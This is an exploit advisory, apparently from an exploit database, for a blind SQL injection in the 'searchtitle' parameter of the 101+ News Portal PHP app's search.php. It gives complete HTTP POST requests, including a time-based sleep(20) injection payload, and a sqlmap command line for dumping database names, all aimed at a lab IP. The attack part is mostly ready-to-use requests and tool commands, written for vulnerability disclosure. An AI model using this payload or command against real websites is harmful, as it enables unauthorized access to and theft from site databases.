# Exploit Title: 101+ News Portal - SQLi # Date: 19/03/2023 # Exploit Author: Abdulhakim Öner # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/16067/best-online-news-portal-project-php-free-download.html # Software Download: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/101news_0.zip # Version: 1.0 # Tested on: Windows, Linux ## Description A Blind SQL injection vulnerability in the page (/101news/search.php) in 101+ News Portal allows remote unauthenticated attackers to execute remote arbitrary SQL commands through "searchtitle" parameter. ## Request PoC ``` POST /101news/search.php HTTP/1.1 Host: 192.168.1.101 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36 Connection: close Cache-Control: max-age=0 Referer: http://192.168.1.101/101news/ Content-Type: application/x-www-form-urlencoded Content-Length: 59 Cookie: PHPSESSID=o5fslt60dlojncb7jnft04lps9 searchtitle=232943' ``` This request causes an error. Adding "'%2b(select*from(select(sleep(20)))a)%2b'" to the end of "searchtitle" parameter, the response to request was 200 status code with message of OK, but 20 seconds later, which indicates that our sleep 20 command works. ``` POST /101news/search.php HTTP/1.1 Host: 192.168.1.101 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36 Connection: close Cache-Control: max-age=0 Referer: http://192.168.1.101/101news/ Content-Type: application/x-www-form-urlencoded Content-Length: 59 Cookie: PHPSESSID=o5fslt60dlojncb7jnft04lps9 searchtitle=232943'%2b(select*from(select(sleep(20)))a)%2b' ``` ## Exploit with sqlmap Save the request from burp to file ``` ┌──(root㉿caesar)-[/home/kali/Workstation/multi] └─# sqlmap -r sqli.txt -p 'searchtitle' --batch --dbs --level=3 --risk=2 ---snip--- POST parameter 'searchtitle' is vulnerable.
